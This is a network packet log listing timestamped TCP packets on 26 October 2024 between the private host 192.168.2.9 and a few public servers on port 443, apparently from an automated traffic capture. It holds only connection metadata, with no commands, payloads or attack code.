Oct 26, 2024 13:45:50.938079119 CEST	49707	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.938086033 CEST	443	49707	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.938271999 CEST	49712	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.938297033 CEST	443	49712	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.938410044 CEST	49712	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.938791037 CEST	49712	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.938805103 CEST	443	49712	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.940731049 CEST	49713	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.940773964 CEST	443	49713	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.940856934 CEST	49713	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.941063881 CEST	49713	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.941078901 CEST	443	49713	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.945453882 CEST	443	49711	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.945612907 CEST	443	49711	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.945682049 CEST	49711	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.945858955 CEST	49711	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.945858955 CEST	49711	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.945864916 CEST	443	49711	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.945873022 CEST	443	49711	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.948265076 CEST	49714	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.948302031 CEST	443	49714	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.948371887 CEST	49714	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.948543072 CEST	49714	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.948560953 CEST	443	49714	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.954268932 CEST	443	49708	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.954655886 CEST	443	49708	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.954716921 CEST	49708	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.954802036 CEST	49708	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.954819918 CEST	443	49708	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.954832077 CEST	49708	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.954838037 CEST	443	49708	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.958317041 CEST	49715	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.958343029 CEST	443	49715	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.958499908 CEST	49715	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.958596945 CEST	49715	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.958611012 CEST	443	49715	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.961478949 CEST	443	49710	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.961502075 CEST	443	49710	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.961550951 CEST	49710	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.961569071 CEST	443	49710	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.961595058 CEST	443	49710	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.961652040 CEST	49710	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.961730957 CEST	49710	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.961745024 CEST	443	49710	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.961757898 CEST	49710	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.961762905 CEST	443	49710	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.964126110 CEST	49716	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.964145899 CEST	443	49716	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:50.964262962 CEST	49716	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.964406013 CEST	49716	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:50.964412928 CEST	443	49716	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.660936117 CEST	443	49713	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.680938005 CEST	49713	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.680949926 CEST	443	49713	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.681396008 CEST	49713	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.681400061 CEST	443	49713	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.685940027 CEST	443	49714	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.688235998 CEST	443	49712	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.690746069 CEST	49714	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.690759897 CEST	443	49714	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.691159964 CEST	49714	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.691164017 CEST	443	49714	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.691704035 CEST	49712	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.691710949 CEST	443	49712	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.691755056 CEST	49712	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.691757917 CEST	443	49712	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.696630001 CEST	443	49715	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.700262070 CEST	443	49716	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.711906910 CEST	49715	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.711934090 CEST	443	49715	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.712445021 CEST	49716	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.712464094 CEST	443	49716	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.712969065 CEST	49715	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.712985992 CEST	443	49715	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.713485003 CEST	49716	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.713494062 CEST	443	49716	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.805054903 CEST	443	49713	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.805144072 CEST	443	49713	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.805383921 CEST	49713	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.805383921 CEST	49713	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.807612896 CEST	49717	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.807641029 CEST	443	49717	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.807660103 CEST	49713	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.807672024 CEST	443	49713	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.807723999 CEST	49717	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.807903051 CEST	49717	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.807913065 CEST	443	49717	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.823626041 CEST	443	49712	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.823805094 CEST	443	49712	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.823858976 CEST	49712	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.827322006 CEST	443	49714	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.827440977 CEST	443	49714	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.827665091 CEST	49714	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.827740908 CEST	49712	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.827750921 CEST	443	49712	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.827931881 CEST	49712	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.827935934 CEST	443	49712	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.835038900 CEST	49714	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.835046053 CEST	443	49714	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.835056067 CEST	49714	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.835059881 CEST	443	49714	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.839325905 CEST	443	49715	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.839834929 CEST	443	49716	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.839967012 CEST	443	49715	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.840059996 CEST	49715	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.840789080 CEST	443	49716	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.840836048 CEST	49716	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.879319906 CEST	49715	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.879319906 CEST	49715	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.879345894 CEST	443	49715	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.879359961 CEST	443	49715	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.880475044 CEST	49716	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.880475044 CEST	49716	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.880496979 CEST	443	49716	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.880511045 CEST	443	49716	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.883105993 CEST	49718	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.883132935 CEST	443	49718	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.883191109 CEST	49718	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.883656025 CEST	49718	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.883666992 CEST	443	49718	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.884998083 CEST	49719	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.885051966 CEST	443	49719	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.885148048 CEST	49719	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.885241985 CEST	49719	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.885257959 CEST	443	49719	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.886497974 CEST	49720	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.886521101 CEST	443	49720	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.886801004 CEST	49720	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.887005091 CEST	49720	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.887013912 CEST	443	49720	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.887648106 CEST	49721	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.887681961 CEST	443	49721	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:51.887741089 CEST	49721	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.887860060 CEST	49721	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:51.887872934 CEST	443	49721	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.547718048 CEST	443	49717	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.560395956 CEST	49717	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.560432911 CEST	443	49717	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.560904026 CEST	49717	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.560909033 CEST	443	49717	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.610420942 CEST	443	49718	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.620207071 CEST	443	49719	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.637603998 CEST	49718	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.637614965 CEST	443	49718	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.638458967 CEST	49718	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.638464928 CEST	443	49718	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.639321089 CEST	49719	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.639348984 CEST	443	49719	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.639910936 CEST	49719	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.639925957 CEST	443	49719	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.641192913 CEST	443	49720	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.641972065 CEST	49720	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.641993999 CEST	443	49720	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.642702103 CEST	49720	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.642708063 CEST	443	49720	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.643919945 CEST	443	49721	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.644355059 CEST	49721	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.644381046 CEST	443	49721	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.644730091 CEST	49721	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.644735098 CEST	443	49721	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.686696053 CEST	443	49717	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.686822891 CEST	443	49717	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.686872959 CEST	49717	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.688852072 CEST	49717	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.688868046 CEST	443	49717	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.688879013 CEST	49717	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.688884974 CEST	443	49717	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.692128897 CEST	49722	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.692164898 CEST	443	49722	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.692230940 CEST	49722	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.692383051 CEST	49722	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.692395926 CEST	443	49722	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.763449907 CEST	443	49718	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.763540983 CEST	443	49718	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.763597012 CEST	49718	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.768897057 CEST	443	49719	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.768990993 CEST	443	49719	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.769082069 CEST	49719	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.776607990 CEST	443	49720	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.776689053 CEST	443	49720	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.776742935 CEST	49720	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.780061960 CEST	443	49721	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.780164957 CEST	443	49721	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.780211926 CEST	49721	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.834623098 CEST	49718	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.834645987 CEST	443	49718	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.836656094 CEST	49719	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.836682081 CEST	443	49719	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.836702108 CEST	49719	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.836708069 CEST	443	49719	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.838119030 CEST	49720	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.838140965 CEST	443	49720	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.838151932 CEST	49720	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.838157892 CEST	443	49720	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.840650082 CEST	49721	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.840672016 CEST	443	49721	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:52.840684891 CEST	49721	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:52.840691090 CEST	443	49721	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.093497992 CEST	49677	443	192.168.2.9	20.189.173.11
Oct 26, 2024 13:45:53.429719925 CEST	443	49722	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.484091997 CEST	49722	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.539109945 CEST	49722	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.539129972 CEST	443	49722	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.539726973 CEST	49722	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.539735079 CEST	443	49722	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.549552917 CEST	49723	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.549595118 CEST	443	49723	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.549657106 CEST	49723	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.549846888 CEST	49723	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.549860001 CEST	443	49723	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.550872087 CEST	49724	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.550894976 CEST	443	49724	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.550977945 CEST	49724	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.552462101 CEST	49724	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.552473068 CEST	443	49724	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.553677082 CEST	49725	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.553704023 CEST	443	49725	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.553792000 CEST	49725	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.554738045 CEST	49725	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.554753065 CEST	443	49725	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.554855108 CEST	49726	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.554864883 CEST	443	49726	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.554919958 CEST	49726	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.555140972 CEST	49726	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.555150032 CEST	443	49726	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.668078899 CEST	443	49722	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.670150042 CEST	443	49722	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.670209885 CEST	49722	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.719141006 CEST	49722	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.719176054 CEST	443	49722	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.719191074 CEST	49722	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.719201088 CEST	443	49722	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.929930925 CEST	49727	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.930021048 CEST	443	49727	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:53.930104017 CEST	49727	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.958667994 CEST	49727	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:53.958724022 CEST	443	49727	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.284605026 CEST	443	49726	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.296211004 CEST	49673	443	192.168.2.9	204.79.197.203
Oct 26, 2024 13:45:54.300534010 CEST	443	49723	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.306427002 CEST	443	49724	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.312800884 CEST	443	49725	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.327591896 CEST	49726	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.353130102 CEST	49723	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.353133917 CEST	49724	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.353282928 CEST	49725	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.357886076 CEST	49726	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.357903957 CEST	443	49726	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.358547926 CEST	49726	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.358555079 CEST	443	49726	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.457072020 CEST	49723	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.457106113 CEST	443	49723	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.457957983 CEST	49723	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.457963943 CEST	443	49723	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.465924025 CEST	49724	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.465938091 CEST	443	49724	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.466666937 CEST	49724	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.466672897 CEST	443	49724	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.469208956 CEST	49725	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.469229937 CEST	443	49725	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.469655991 CEST	49725	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.469666958 CEST	443	49725	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.647766113 CEST	443	49726	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.647854090 CEST	443	49726	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.648235083 CEST	49726	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.656141996 CEST	49726	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.656157970 CEST	443	49726	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.656193972 CEST	49726	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.656199932 CEST	443	49726	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.671293020 CEST	49729	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.671339035 CEST	443	49729	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.671444893 CEST	49729	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.672553062 CEST	49729	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.672569036 CEST	443	49729	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.769912004 CEST	443	49723	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.769987106 CEST	443	49723	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.770031929 CEST	49723	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.770734072 CEST	443	49724	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.770807981 CEST	443	49724	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.770922899 CEST	49724	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.772547007 CEST	443	49725	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.772670031 CEST	443	49725	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.772757053 CEST	49725	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.777653933 CEST	49723	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.777678013 CEST	443	49723	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.777689934 CEST	49723	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.777695894 CEST	443	49723	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.777858019 CEST	49724	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.777878046 CEST	443	49724	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.777890921 CEST	49724	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.777896881 CEST	443	49724	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.779731989 CEST	49725	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.779752016 CEST	443	49725	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.779769897 CEST	49725	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.779777050 CEST	443	49725	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.787295103 CEST	443	49727	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.809495926 CEST	49727	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.809519053 CEST	443	49727	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.810020924 CEST	49727	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.810026884 CEST	443	49727	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.817764044 CEST	49732	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.817805052 CEST	443	49732	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.817859888 CEST	49732	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.818707943 CEST	49732	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.818718910 CEST	443	49732	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.840483904 CEST	49733	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.840549946 CEST	443	49733	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.840651035 CEST	49733	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.844746113 CEST	49734	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.844774008 CEST	443	49734	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.844846010 CEST	49734	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.852710009 CEST	49733	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.852727890 CEST	443	49733	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:54.855261087 CEST	49734	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:54.855284929 CEST	443	49734	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.033030987 CEST	443	49727	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.033118010 CEST	443	49727	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.033175945 CEST	49727	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.033862114 CEST	49727	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.033884048 CEST	443	49727	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.033901930 CEST	49727	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.033909082 CEST	443	49727	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.086690903 CEST	49735	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.086716890 CEST	443	49735	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.086771011 CEST	49735	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.087213039 CEST	49735	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.087224960 CEST	443	49735	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.406033039 CEST	443	49729	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.406749964 CEST	49729	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.406774044 CEST	443	49729	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.407248974 CEST	49729	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:55.407254934 CEST	443	49729	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:55.534491062 CEST	443	49729	13.107.246.42	192.168.2.9
